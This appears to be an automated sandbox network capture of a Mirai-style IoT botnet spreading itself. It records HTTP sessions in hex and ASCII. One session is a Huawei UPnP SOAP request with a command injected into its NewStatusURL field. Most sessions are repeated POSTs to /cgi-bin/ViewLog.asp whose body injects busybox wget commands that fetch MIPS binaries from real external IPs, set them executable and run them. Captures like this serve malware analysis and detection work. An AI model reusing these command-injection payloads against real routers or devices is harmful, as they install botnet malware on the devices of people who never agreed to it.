                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                757192.168.2.154034062.29.75.1278080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:52.179446936 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:56.440201998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.584017038 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.615715981 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                758192.168.2.153913494.122.230.1888080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:52.183290958 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                759192.168.2.153724231.136.222.628080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:52.498123884 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:55.672247887 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.816061020 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.847774982 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                760192.168.2.154709231.136.100.818080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:52.498955965 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.080291033 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:54.232244968 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:56.696212053 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.304069996 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:10.519808054 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                761192.168.2.155502831.136.155.738080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:52.499103069 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:55.672249079 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.816067934 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.847759008 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                762192.168.2.153457094.121.145.1028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:52.550491095 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                763192.168.2.154155295.235.120.2418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:52.744736910 CET354OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mip
                                                Nov 23, 2023 05:22:52.947460890 CET552INHTTP/1.1 401 Unauthorized
                                                WWW-Authenticate: Basic realm="Protected"
                                                Connection: close
                                                Content-Type: text/html
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4b 73 65 6e 69 61 20 4c 61 72 65 73 20 57 65 62 53 65 72 76 65 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 23 33 33 33 33 33 33 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 39 39 39 39 39 39 20 66 61 63 65 3d 22 56 65 72 64 61 6e 61 2c 47 65 6e 65 76 61 2c 73 61 6e 73 2d 73 65 72 69 66 22 3e 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 70 3e 3c 68 31 3e 55 6e 61 75 74 68 6f 72 69 7a 65 64 3a 20 50 61 73 73 77 6f 72 64 20 72 65 71 75 69 72 65 64 3c 2f 68 31 3e 3c 62 72 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 62 72 3e 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 43 6f 70 79 72 69 67 68 74 20 26 63 6f 70 79 3b 20 32 30 31 35 2d 32 30 31 36 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 73 65 6e 69 61 73 65 63 75 72 69 74 79 2e 63 6f 6d 2f 22 20 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 23 66 66 33 33 33 33 3e 20 4b 73 65 6e 69 61 20 53 65 63 75 72 69 74 79 20 3c 2f 66 6f 6e 74 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 66 6f 6e 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>Ksenia Lares WebServer</title></head><body bgcolor=#333333><font color=#999999 face="Verdana,Geneva,sans-serif"><div align="center"><p><h1>Unauthorized: Password required</h1><br></p></div><br><div align="center">Copyright &copy; 2015-2016 <a href="http://www.kseniasecurity.com/" ><font color=#ff3333> Ksenia Security </font></a></div></div></font></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                764192.168.2.156051894.120.56.2298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:52.778485060 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                765192.168.2.154006631.136.108.2048080
                                                TimestampBytes transferredDirectionData
